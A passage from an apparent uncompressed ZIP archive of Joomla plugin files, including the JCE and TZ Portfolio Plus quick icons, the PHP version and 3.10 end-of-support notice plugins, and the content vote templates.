    <copyright>Copyright (C) 2006 - 2020 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>PLG_QUICKICON_JCE_XML_DESCRIPTION</description>
	<files folder="plugins/quickicon/jce">
		<filename plugin="jce">jce.php</filename>
	</files>
	<languages folder="administrator/language/en-GB">
      <language tag="en-GB">en-GB.plg_quickicon_jce.ini</language>
      <language tag="en-GB">en-GB.plg_quickicon_jce.sys.ini</language>
  </languages>
</extension>
PK       ! x      quickicon/jce/jce.phpnu bS        <?php

/**
 * @copyright 	Copyright (c) 2009-2020 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die;

/**
 * JCE File Browser Quick Icon plugin.
 *
 * @since		2.1
 */
class plgQuickiconJce extends JPlugin
{
    public function __construct(&$subject, $config)
    {
        parent::__construct($subject, $config);

        $app = JFactory::getApplication();

        // only in Admin and only if the component is enabled
        if ($app->getClientId() !== 1 || JComponentHelper::getComponent('com_jce', true)->enabled === false) {
            return;
        }

        $this->loadLanguage();
    }

    public function onGetIcons($context)
    {
        if ($context != $this->params->get('context', 'mod_quickicon')) {
            return;
        }

        $user = JFactory::getUser();

        if (!$user->authorise('jce.browser', 'com_jce')) {
            return;
        }

        $language = JFactory::getLanguage();
        $language->load('com_jce', JPATH_ADMINISTRATOR);

        $filter = $this->params->get('filter', '');

        return array(array(
            'link'      => 'index.php?option=com_jce&view=browser&filter=' . $filter,
            'image'     => 'picture fa-file-image-o',
            'access'    => array('jce.browser', 'com_jce'),
            'text'      => JText::_('PLG_QUICKICON_JCE_TITLE'),
            'id'        => 'plg_quickicon_jce',
        ));
    }
}
PK       ! V        quickicon/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       !     -  quickicon/phpversioncheck/phpversioncheck.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Quickicon.phpversioncheck
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Plugin to check the PHP version and display a warning about its support status
 *
 * @since  3.7.0
 */
class PlgQuickiconPhpVersionCheck extends JPlugin
{
	/**
	 * Constant representing the active PHP version being fully supported
	 *
	 * @var    integer
	 * @since  3.7.0
	 */
	const PHP_SUPPORTED = 0;

	/**
	 * Constant representing the active PHP version receiving security support only
	 *
	 * @var    integer
	 * @since  3.7.0
	 */
	const PHP_SECURITY_ONLY = 1;

	/**
	 * Constant representing the active PHP version being unsupported
	 *
	 * @var    integer
	 * @since  3.7.0
	 */
	const PHP_UNSUPPORTED = 2;

	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.7.0
	 */
	protected $app;

	/**
	 * Load plugin language files automatically
	 *
	 * @var    boolean
	 * @since  3.7.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Check the PHP version after the admin component has been dispatched.
	 *
	 * @param   string  $context  The calling context
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	public function onGetIcons($context)
	{
		if (!$this->shouldDisplayMessage())
		{
			return;
		}

		$supportStatus = $this->getPhpSupport();

		if ($supportStatus['status'] !== self::PHP_SUPPORTED)
		{
			// Enqueue the notification message; set a warning if receiving security support or "error" if unsupported
			switch ($supportStatus['status'])
			{
				case self::PHP_SECURITY_ONLY:
					$this->app->enqueueMessage($supportStatus['message'], 'warning');

					break;

				case self::PHP_UNSUPPORTED:
					$this->app->enqueueMessage($supportStatus['message'], 'error');

					break;
			}
		}
	}

	/**
	 * Gets PHP support status.
	 *
	 * @return  array  Array of PHP support data
	 *
	 * @since   3.7.0
	 * @note    The dates used in this method should correspond to the dates given on PHP.net
	 * @link    https://www.php.net/supported-versions.php
	 * @link    https://www.php.net/eol.php
	 */
	private function getPhpSupport()
	{
		$phpSupportData = array(
			'5.3' => array(
				'security' => '2013-07-11',
				'eos'      => '2014-08-14',
			),
			'5.4' => array(
				'security' => '2014-09-14',
				'eos'      => '2015-09-14',
			),
			'5.5' => array(
				'security' => '2015-07-10',
				'eos'      => '2016-07-21',
			),
			'5.6' => array(
				'security' => '2017-01-19',
				'eos'      => '2018-12-31',
			),
			'7.0' => array(
				'security' => '2017-12-03',
				'eos'      => '2018-12-03',
			),
			'7.1' => array(
				'security' => '2018-12-01',
				'eos'      => '2019-12-01',
			),
			'7.2' => array(
				'security' => '2019-11-30',
				'eos'      => '2020-11-30',
			),
			'7.3' => array(
				'security' => '2020-12-06',
				'eos'      => '2021-12-06',
			),
			'7.4' => array(
				'security' => '2021-11-28',
				'eos'      => '2022-11-28',
			),
			'8.0' => array(
				'security' => '2022-11-26',
				'eos'      => '2023-11-26',
			),
			'8.1' => array(
				'security' => '2023-11-25',
				'eos'      => '2024-11-25',
			),
		);

		// Fill our return array with default values
		$supportStatus = array(
			'status'  => self::PHP_SUPPORTED,
			'message' => null,
		);

		// Check the PHP version's support status using the minor version
		$activePhpVersion = PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION;

		// Do we have the PHP version's data?
		if (isset($phpSupportData[$activePhpVersion]))
		{
			// First check if the version has reached end of support
			$today           = new JDate;
			$phpEndOfSupport = new JDate($phpSupportData[$activePhpVersion]['eos']);

			if ($phpNotSupported = $today > $phpEndOfSupport)
			{
				/*
				 * Find the oldest PHP version still supported that is newer than the current version,
				 * this is our recommendation for users on unsupported platforms
				 */
				foreach ($phpSupportData as $version => $versionData)
				{
					$versionEndOfSupport = new JDate($versionData['eos']);

					if (version_compare($version, $activePhpVersion, 'ge') && ($today < $versionEndOfSupport))
					{
						$supportStatus['status']  = self::PHP_UNSUPPORTED;
						$supportStatus['message'] = JText::sprintf(
							'PLG_QUICKICON_PHPVERSIONCHECK_UNSUPPORTED',
							PHP_VERSION,
							$version,
							$versionEndOfSupport->format(JText::_('DATE_FORMAT_LC4'))
						);

						return $supportStatus;
					}
				}

				// PHP version is not supported and we don't know of any supported versions.
				$supportStatus['status']  = self::PHP_UNSUPPORTED;
				$supportStatus['message'] = JText::sprintf('PLG_QUICKICON_PHPVERSIONCHECK_UNSUPPORTED_JOOMLA_OUTDATED', PHP_VERSION);

				return $supportStatus;
			}

			// If the version is still supported, check if it has reached eol minus 3 month
			$securityWarningDate = clone $phpEndOfSupport;
			$securityWarningDate->sub(new DateInterval('P3M'));

			if (!$phpNotSupported && $today > $securityWarningDate)
			{
				$supportStatus['status']  = self::PHP_SECURITY_ONLY;
				$supportStatus['message'] = JText::sprintf(
					'PLG_QUICKICON_PHPVERSIONCHECK_SECURITY_ONLY', PHP_VERSION, $phpEndOfSupport->format(JText::_('DATE_FORMAT_LC4'))
				);
			}
		}

		return $supportStatus;
	}

	/**
	 * Determines if the message should be displayed
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	private function shouldDisplayMessage()
	{
		// Only on admin app
		if (!$this->app->isClient('administrator'))
		{
			return false;
		}

		// Only if authenticated
		if (JFactory::getUser()->guest)
		{
			return false;
		}

		// Only on HTML documents
		if ($this->app->getDocument()->getType() !== 'html')
		{
			return false;
		}

		// Only on full page requests
		if ($this->app->input->getCmd('tmpl', 'index') === 'component')
		{
			return false;
		}

		// Only to com_cpanel
		if ($this->app->input->get('option') !== 'com_cpanel')
		{
			return false;
		}

		return true;
	}
}
PK       ! mI  I  -  quickicon/phpversioncheck/phpversioncheck.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.7" type="plugin" group="quickicon" method="upgrade">
	<name>plg_quickicon_phpversioncheck</name>
	<author>Joomla! Project</author>
	<creationDate>August 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_QUICKICON_PHPVERSIONCHECK_XML_DESCRIPTION</description>
	<files>
		<filename plugin="phpversioncheck">phpversioncheck.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_quickicon_phpversioncheck.ini</language>
		<language tag="en-GB">en-GB.plg_quickicon_phpversioncheck.sys.ini</language>
	</languages>
</extension>
PK       ! le    1  quickicon/tz_portfolio_plus/tz_portfolio_plus.phpnu bS        <?php
/*------------------------------------------------------------------------

# TZ Portfolio Plus Extension

# ------------------------------------------------------------------------

# author    DuongTVTemPlaza

# copyright Copyright (C) 2015 templaza.com. All Rights Reserved.

# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL

# Websites: http://www.templaza.com

# Technical Support:  Forum - http://templaza.com/Forum

-------------------------------------------------------------------------*/

// no direct access
defined('_JEXEC') or die('Restricted access');

use Joomla\CMS\Language\Text;
use Joomla\CMS\Factory;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Router\Route;

class plgQuickiconTZ_Portfolio_Plus extends CMSPlugin
{

    protected $autoloadLanguage = true;

	/**
	 * Display TZ Portfolio Plus backend icon in Joomla
	 *
	 * @param   string $context context
	 *
	 * @return array|null
	 * @throws Exception
	 */
	public function onGetIcons($context)
	{
		if ($context != $this->params->get('context', 'mod_quickicon')
            || !Factory::getUser()->authorise('core.manage', 'com_tz_portfolio_plus'))
		{
			return null;
		}
        $this->loadLanguage('com_tz_portfolio_plus.sys');

		$updateInfo = null;

        /* Setup */
        $file   = JPATH_ADMINISTRATOR.'/components/com_tz_portfolio_plus/setup/index.php';

        $xml    = simplexml_load_file(JPATH_ADMINISTRATOR.'/components/com_tz_portfolio_plus/tz_portfolio_plus.xml');

		if (!JFile::exists($file) && Factory::getUser()->authorise('core.manage', 'com_installer'))
		{
			$updateSite = '%tzportfolio.com/tzupdates%';
			$db         = Factory::getDbo();

			$query = $db->getQuery(true)
				->select('*')
				->from($db->qn('#__updates'))
				->where($db->qn('extension_id') . ' > 0')
				->where($db->qn('detailsurl') . ' LIKE ' . $db->q($updateSite));
			$db->setQuery($query);
			$list = (array) $db->loadObjectList();

			if ($list)
			{
				$updateInfo          = new stdClass;
				$updateInfo->addons  = 0;
				$updateInfo->version = 0;

				foreach ($list as $item)
				{
					if ($item->element == 'com_tz_portfolio_plus')
					{
						$updateInfo->version = $item->version;
					}
					else
					{
						$updateInfo->addons++;
					}
				}
			}
			else
			{
				$query = $db->getQuery(true)
					->select('update_site_id')
					->from($db->qn('#__update_sites'))
					->where($db->qn('enabled') . ' = 0')
					->where($db->qn('location') . ' LIKE ' . $db->q($updateSite));
				$db->setQuery($query);
				$updateInfo = !$db->loadResult();
			}
		}

		$link = 'index.php?option=com_tz_portfolio_plus';

		$useIcons = version_compare(JVERSION, '3.0', '>');

		if (JFile::exists($file))
		{
			$icon = 'warning';

			if (version_compare(JVERSION, '4.0', '>'))
			{
				$icon = 'fa fa-warning';
			}

			// Not fully installed
			$img  = $useIcons ? $icon : 'header/icon-48-download.png';
			$icon = 'header/icon-48-download.png';
			$text = Text::_('PLG_QUICKICON_TZ_PORTFOLIO_PLUS_COMPLETE_INSTALLATION');
		}
		elseif ($updateInfo === null)
		{
			// Unsupported
			$icon = 'remove';

			if (version_compare(JVERSION, '4.0', '>'))
			{
				$icon = 'fa fa-remove';
			}

			$img  = $useIcons ? $icon : 'header/icon-48-download.png';
			$icon = 'header/icon-48-download.png';
			$text = Text::_('COM_TZ_PORTFOLIO_PLUS');
		}
		elseif ($updateInfo === false)
		{
			// Disabled
			$icon = 'minus';

			if (version_compare(JVERSION, '4.0', '>'))
			{
				$icon = 'fa fa-minus';
			}

			$img  = $useIcons ? $icon : 'header/icon-48-download.png';
			$icon = 'header/icon-48-download.png';
			$text = Text::_('COM_TZ_PORTFOLIO_PLUS') . '<br />' . Text::_('PLG_QUICKICON_TZ_PORTFOLIO_PLUS_UPDATE_DISABLED');
		}
		elseif (!empty($updateInfo->version) && version_compare($xml -> version, $updateInfo->version, '<'))
		{
			// Has updates
			$icon = 'download';

			if (version_compare(JVERSION, '4.0', '>'))
			{
				$icon = 'fa fa-download';
			}

			$img  = $useIcons ? $icon : 'header/icon-48-download.png';
			$icon = 'header/icon-48-download.png';
			$text = Text::_('COM_TZ_PORTFOLIO_PLUS').' <span class="label label-important">'
                . $updateInfo->version . '</span><br />' . Text::_('PLG_QUICKICON_TZ_PORTFOLIO_PLUS_UPDATE_NOW');
			$link = 'index.php?option=com_installer&view=update&filter_search=TZ Portfolio Plus';
		}
		else
		{
            $doc    = JFactory::getDocument();
            $doc -> addStyleSheet(JUri::base(true).'/components/com_tz_portfolio_plus/css/tppicon.min.css',
                array('version' => 'auto'));
            $doc -> addStyleDeclaration('[class^="icon-"][class^="tpp-icon-"]:before,
             [class*="icon-"][class*="tpp-icon-"]:before{
                font-family: \'TZ-Portfolio-Plus-Icons\';
            }');
			$icon = ' tpp-icon-portfolio';

			$img  = $useIcons ? $icon : 'header/icon-48-download.png';
			$icon = 'header/icon-48-download.png';
			$text = Text::_('COM_TZ_PORTFOLIO_PLUS');
		}

		// Use one line in J!3.0.
		if (version_compare(JVERSION, '3.0', '>'))
		{
			$text = preg_replace('|<br />|', ' - ', $text);
		}

		return array(array(
			'link'   => Route::_($link),
			'image'  => $img,
			'text'   => $text,
			'icon'   => $icon,
			'access' => array('core.manage', 'com_tz_portfolio_plus'),
			'id'     => 'plg_quickicon_com_tz_portfolio_plus'));
	}
}
PK       ! vt)  )  1  quickicon/tz_portfolio_plus/tz_portfolio_plus.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE extension>
<extension version="2.5" type="plugin" group="quickicon" method="upgrade">
    <name>plg_quickicon_tz_portfolio_plus</name>
    <version>2.3.6</version>
    <author>DuongTVTemPlaza</author>
    <creationDate>July 26th 2019</creationDate>
    <copyright>Copyright (C) 2011-2019 TZ Portfolio. All rights reserved.</copyright>
    <license>GNU/GPL v2 or later http://www.gnu.org/licenses/gpl-2.0.html</license>
    <authorEmail>support@templaza.com</authorEmail>
    <authorUrl>www.templaza.com/</authorUrl>
    <files>
        <filename plugin="tz_portfolio_plus">tz_portfolio_plus.php</filename>
    </files>
    <languages folder="language">
        <language tag="en-GB">en-GB/en-GB.plg_quickicon_tz_portfolio_plus.ini</language>
        <language tag="en-GB">en-GB/en-GB.plg_quickicon_tz_portfolio_plus.sys.ini</language>
    </languages>
    <config>
        <fields name="params">
            <fieldset name="basic">
                <field type="text" name="context"
                       default="mod_quickicon"
                       label="PLG_QUICKICON_TZ_PORTFOLIO_PLUS_GROUP_LABEL"
                       description="PLG_QUICKICON_TZ_PORTFOLIO_PLUS_GROUP_DESC"
                />
            </fieldset>
        </fields>
    </config>
</extension>
PK       ! .U9      quickicon/eos310/eos310.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.10" type="plugin" group="quickicon" method="upgrade">
	<name>plg_quickicon_eos310</name>
	<author>Joomla! Project</author>
	<creationDate>June 2021</creationDate>
	<copyright>(C) 2021 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.10.0</version>
	<description>PLG_QUICKICON_EOS310_XML_DESCRIPTION</description>
	<files>
		<filename plugin="eos310">eos310.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_quickicon_eos310.ini</language>
		<language tag="en-GB">en-GB.plg_quickicon_eos310.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="last_snoozed_id"
					type="hidden"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK       ! -&\*  *    quickicon/eos310/eos310.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Quickicon.eos310
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;

/**
 * Joomla! end of support notification plugin
 *
 * @since  3.10.0
 */
class PlgQuickiconEos310 extends CMSPlugin
{
	/**
	 * The EOS date for 3.10
	 *
	 * @var    string
	 * @since  3.10.0
	 */
	const EOS_DATE = '2023-08-17';

	/**
	 * Application object
	 *
	 * @var    CMSApplication
	 * @since  3.10.0
	 */
	protected $app;

	/**
	 * Database object
	 *
	 * @var    DatabaseDriver
	 * @since  3.10.0
	 */
	protected $db;

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.10.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Holding the current valid message to be shown
	 *
	 * @var    boolean
	 * @since  3.10.0
	 */
	private $currentMessage = false;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe.
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   3.10.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		$diff           = Factory::getDate()->diff(Factory::getDate(static::EOS_DATE));
		$monthsUntilEOS = floor($diff->days / 30.417);

		$this->currentMessage = $this->getMessageInfo($monthsUntilEOS, $diff->invert);
	}

	/**
	 * Check and show the the alert and quickicon message
	 *
	 * @param   string  $context  The calling context
	 *
	 * @return  array|void  A list of icon definition associative arrays, consisting of the
	 *			keys link, image, text and access, or void.
	 *
	 * @since   3.10.0
	 */
	public function onGetIcons($context)
	{
		if (!$this->shouldDisplayMessage())
		{
			return;
		}

		// No messages yet
		if (!$this->currentMessage)
		{
			return;
		}

		// Show this only when not snoozed
		if ($this->params->get('last_snoozed_id', 0) < $this->currentMessage['id'])
		{
			// Load the snooze scripts.
			HTMLHelper::_('jquery.framework');
			HTMLHelper::_('script', 'plg_quickicon_eos310/snooze.js', array('version' => 'auto', 'relative' => true));

			// Build the  message to be displayed in the cpanel
			$messageText = Text::sprintf(
				$this->currentMessage['messageText'],
				HTMLHelper::_('date', static::EOS_DATE, Text::_('DATE_FORMAT_LC3')),
				$this->currentMessage['messageLink']
			);

			if ($this->currentMessage['snoozable'])
			{
				$messageText .=
					'<p><button class="btn btn-warning eosnotify-snooze-btn" type="button">' .
					Text::_('PLG_QUICKICON_EOS310_SNOOZE_BUTTON') .
					'</button></p>';
			}

			$this->app->enqueueMessage(
				$messageText,
				$this->currentMessage['messageType']
			);
		}

		// The message as quickicon
		$messageTextQuickIcon = Text::sprintf(
			$this->currentMessage['quickiconText'],
			HTMLHelper::_(
				'date',
				static::EOS_DATE,
				Text::_('DATE_FORMAT_LC3')
			)
		);

		// The message as quickicon
		return array(array(
			'link'   => $this->currentMessage['messageLink'],
			'target' => '_blank',
			'rel'    => 'noopener noreferrer',
			'image'  => $this->currentMessage['image'],
			'text'   => $messageTextQuickIcon,
			'id'	 => 'plg_quickicon_eos310',
			'group'  => $this->currentMessage['groupText'],
		));
	}

	/**
	 * User hit the snooze button
	 *
	 * @return  void
	 *
	 * @since   3.10.0
	 *
	 * @throws  JAccessExceptionNotallowed  If user is not allowed.
	 */
	public function onAjaxSnoozeEOS()
	{
		// No messages yet so nothing to snooze
		if (!$this->currentMessage)
		{
			return;
		}

		if (!$this->isAllowedUser() || !$this->isAjaxRequest())
		{
			throw new JAccessExceptionNotallowed(Text::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
		}

		// Make sure only snoozable messages can be snoozed
		if ($this->currentMessage['snoozable'])
		{
			$this->params->set('last_snoozed_id', $this->currentMessage['id']);

			$this->saveParams();
		}
	}

	/**
	 * Return the texts to be displayed based on the time until we reach EOS
	 *
	 * @param   integer  $monthsUntilEOS  The months until we reach EOS
	 * @param   integer  $inverted        Have we surpassed the EOS date
	 *
	 * @return  array|bool  An array with the message to be displayed or false
	 *
	 * @since   3.10.0
	 */
	private function getMessageInfo($monthsUntilEOS, $inverted)
	{
		// The EOS date has passed - Support has ended
		if ($inverted === 1)
		{
			return array(
				'id'            => 5,
				'messageText'   => 'PLG_QUICKICON_EOS310_MESSAGE_ERROR_SUPPORT_ENDED',
				'quickiconText' => 'PLG_QUICKICON_EOS310_MESSAGE_ERROR_SUPPORT_ENDED_SHORT',
				'messageType'   => 'error',
				'image'         => 'minus-circle',
				'messageLink'   => 'https://docs.joomla.org/Special:MyLanguage/Planning_for_Mini-Migration_-_Joomla_3.10.x_to_4.x',
				'groupText'     => 'PLG_QUICKICON_EOS310_GROUPNAME_EOS',
				'snoozable'     => false,
			);
		}

		// The security support is ending in 6 months
		if ($monthsUntilEOS < 6)
		{
			return array(
				'id'            => 4,
				'messageText'   => 'PLG_QUICKICON_EOS310_MESSAGE_WARNING_SUPPORT_ENDING',
				'quickiconText' => 'PLG_QUICKICON_EOS310_MESSAGE_WARNING_SUPPORT_ENDING_SHORT',
				'messageType'   => 'warning',
				'image'         => 'warning-circle',
				'messageLink'   => 'https://docs.joomla.org/Special:MyLanguage/Planning_for_Mini-Migration_-_Joomla_3.10.x_to_4.x',
				'groupText'     => 'PLG_QUICKICON_EOS310_GROUPNAME_WARNING',
				'snoozable'     => true,
			);
		}

		// We are in security only mode now, 12 month to go from now on
		if ($monthsUntilEOS < 12)
		{
			return array(
				'id'            => 3,
				'messageText'   => 'PLG_QUICKICON_EOS310_MESSAGE_WARNING_SECURITY_ONLY',
				'quickiconText' => 'PLG_QUICKICON_EOS310_MESSAGE_WARNING_SECURITY_ONLY_SHORT',
				'messageType'   => 'warning',
				'image'         => 'warning-circle',
				'messageLink'   => 'https://docs.joomla.org/Special:MyLanguage/Planning_for_Mini-Migration_-_Joomla_3.10.x_to_4.x',
				'groupText'     => 'PLG_QUICKICON_EOS310_GROUPNAME_WARNING',
				'snoozable'     => true,
			);
		}

		// We still have 16 month to go, lets remind our users about the pre upgrade checker
		if ($monthsUntilEOS < 16)
		{
			return array(
				'id'            => 2,
				'messageText'   => 'PLG_QUICKICON_EOS310_MESSAGE_INFO_02',
				'quickiconText' => 'PLG_QUICKICON_EOS310_MESSAGE_INFO_02_SHORT',
				'messageType'   => 'info',
				'image'         => 'info-circle',
				'messageLink'   => 'https://docs.joomla.org/Special:MyLanguage/Pre-Update_Check',
				'groupText'     => 'PLG_QUICKICON_EOS310_GROUPNAME_INFO',
				'snoozable'     => true,
			);
		}

		// Lets start our messages 2 month after the initial release, still 22 month to go
		if ($monthsUntilEOS < 22)
		{
			return array(
				'id'            => 1,
				'messageText'   => 'PLG_QUICKICON_EOS310_MESSAGE_INFO_01',
				'quickiconText' => 'PLG_QUICKICON_EOS310_MESSAGE_INFO_01_SHORT',
				'messageType'   => 'info',
				'image'         => 'info-circle',
				'messageLink'   => 'https://www.joomla.org/4/#features',
				'groupText'     => 'PLG_QUICKICON_EOS310_GROUPNAME_INFO',
				'snoozable'     => true,
			);
		}

		return false;
	}

	/**
	 * Determines if the message and quickicon should be displayed
	 *
	 * @return  boolean
	 *
	 * @since   3.10.0
	 */
	private function shouldDisplayMessage()
	{
		// Only on admin app
		if (!$this->app->isClient('administrator'))
		{
			return false;
		}

		// Only if authenticated
		if (Factory::getUser()->guest)
		{
			return false;
		}

		// Only on HTML documents
		if ($this->app->getDocument()->getType() !== 'html')
		{
			return false;
		}

		// Only on full page requests
		if ($this->app->input->getCmd('tmpl', 'index') === 'component')
		{
			return false;
		}

		// Only to com_cpanel
		if ($this->app->input->get('option') !== 'com_cpanel')
		{
			return false;
		}

		// Don't show anything in 4.0
		if (version_compare(JVERSION, '4.0', '>='))
		{
			return false;
		}

		return true;
	}

	/**
	 * Check valid AJAX request
	 *
	 * @return  boolean
	 *
	 * @since   3.10.0
	 */
	private function isAjaxRequest()
	{
		return strtolower($this->app->input->server->get('HTTP_X_REQUESTED_WITH', '')) === 'xmlhttprequest';
	}

	/**
	 * Check if current user is allowed to send the data
	 *
	 * @return  boolean
	 *
	 * @since   3.10.0
	 */
	private function isAllowedUser()
	{
		return Factory::getUser()->authorise('core.login.admin');
	}

	/**
	 * Save the plugin parameters
	 *
	 * @return  boolean
	 *
	 * @since   3.10.0
	 */
	private function saveParams()
	{
		$query = $this->db->getQuery(true)
			->update($this->db->quoteName('#__extensions'))
			->set($this->db->quoteName('params') . ' = ' . $this->db->quote($this->params->toString('JSON')))
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote('plugin'))
			->where($this->db->quoteName('folder') . ' = ' . $this->db->quote('quickicon'))
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote('eos310'));

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$this->db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return false;
		}

		try
		{
			// Update the plugin parameters
			$result = $this->db->setQuery($query)->execute();

			$this->clearCacheGroups(array('com_plugins'), array(0, 1));
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$this->db->unlockTables();

			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$this->db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		return $result;
	}

	/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups   The cache groups to clean
	 * @param   array  $cacheClients  The cache clients (site, admin) to clean
	 *
	 * @return  void
	 *
	 * @since   3.10.0
	 */
	private function clearCacheGroups(array $clearGroups, array $cacheClients = array(0, 1))
	{
		foreach ($clearGroups as $group)
		{
			foreach ($cacheClients as $client_id)
			{
				try
				{
					$options = array(
						'defaultgroup' => $group,
						'cachebase'	=> $client_id ? JPATH_ADMINISTRATOR . '/cache' : $this->app->get('cache_path', JPATH_SITE . '/cache')
					);

					$cache = JCache::getInstance('callback', $options);
					$cache->clean();
				}
				catch (Exception $e)
				{
					// Ignore it
				}
			}
		}
	}
}
PK       ! ^y      content/vote/tmpl/vote.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.vote
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Layout variables
 * -----------------
 * @var   string   $context  The context of the content being passed to the plugin
 * @var   object   &$row     The article object
 * @var   object   &$params  The article params
 * @var   integer  $page     The 'page' number
 * @var   array    $parts    The context segments
 * @var   string   $path     Path to this file
 */

$uri = clone JUri::getInstance();
$uri->setVar('hitcount', '0');

// Create option list for voting select box
$options = array();

for ($i = 1; $i < 6; $i++)
{
	$options[] = JHtml::_('select.option', $i, JText::sprintf('PLG_VOTE_VOTE', $i));
}

?>
<form method="post" action="<?php echo htmlspecialchars($uri->toString(), ENT_COMPAT, 'UTF-8'); ?>" class="form-inline">
	<span class="content_vote">
		<label class="unseen element-invisible" for="content_vote_<?php echo (int) $row->id; ?>"><?php echo JText::_('PLG_VOTE_LABEL'); ?></label>
		<?php echo JHtml::_('select.genericlist', $options, 'user_rating', null, 'value', 'text', '5', 'content_vote_' . (int) $row->id); ?>
		&#160;<input class="btn btn-mini" type="submit" name="submit_vote" value="<?php echo JText::_('PLG_VOTE_RATE'); ?>" />
		<input type="hidden" name="task" value="article.vote" />
		<input type="hidden" name="hitcount" value="0" />
		<input type="hidden" name="url" value="<?php echo htmlspecialchars($uri->toString(), ENT_COMPAT, 'UTF-8'); ?>" />
		<?php echo JHtml::_('form.token'); ?>
	</span>
</form>
PK       ! 'w  w    content/vote/tmpl/rating.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.vote
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Layout variables
 * -----------------
 * @var   string   $context  The context of the content being passed to the plugin
 * @var   object   &$row     The article object
 * @var   object   &$params  The article params
 * @var   integer  $page     The 'page' number
 * @var   array    $parts    The context segments
 * @var   string   $path     Path to this file
 */

if ($context == 'com_content.categories')
{
	return;
}

$rating = (int) $row->rating;
$rcount = (int) $row->rating_count;

// Look for images in template if available
$starImageOn  = JHtml::_('image', 'system/rating_star.png', JText::_('PLG_VOTE_STAR_ACTIVE'), null, true);
$starImageOff = JHtml::_('image', 'system/rating_star_blank.png', JText::_('PLG_VOTE_STAR_INACTIVE'), null, true);

$img = '';

for ($i = 0; $i < $rating; $i++)
{
	$img .= $starImageOn;
}

for ($i = $rating; $i < 5; $i++)
{
	$img .= $starImageOff;
}

?>
<div class="content_rating">
	<?php if ($rcount) : ?>
		<p class="unseen element-invisible" itemprop="aggregateRating" itemscope itemtype="https://schema.org/AggregateRating">
			<?php echo JText::sprintf('PLG_VOTE_USER_RATING', '<span itemprop="ratingValue">' . $rating . '</span>', '<span itemprop="bestRating">5</span>'); ?>
			<meta itemprop="ratingCount" content="<?php echo $rcount; ?>" />
			<meta itemprop="worstRating" content="1" />
		</p>
	<?php endif; ?>
	<?php echo $img; ?>
</div>
PK       ! m*~  ~    content/vote/vote.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content" method="upgrade">
	<name>plg_content_vote</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
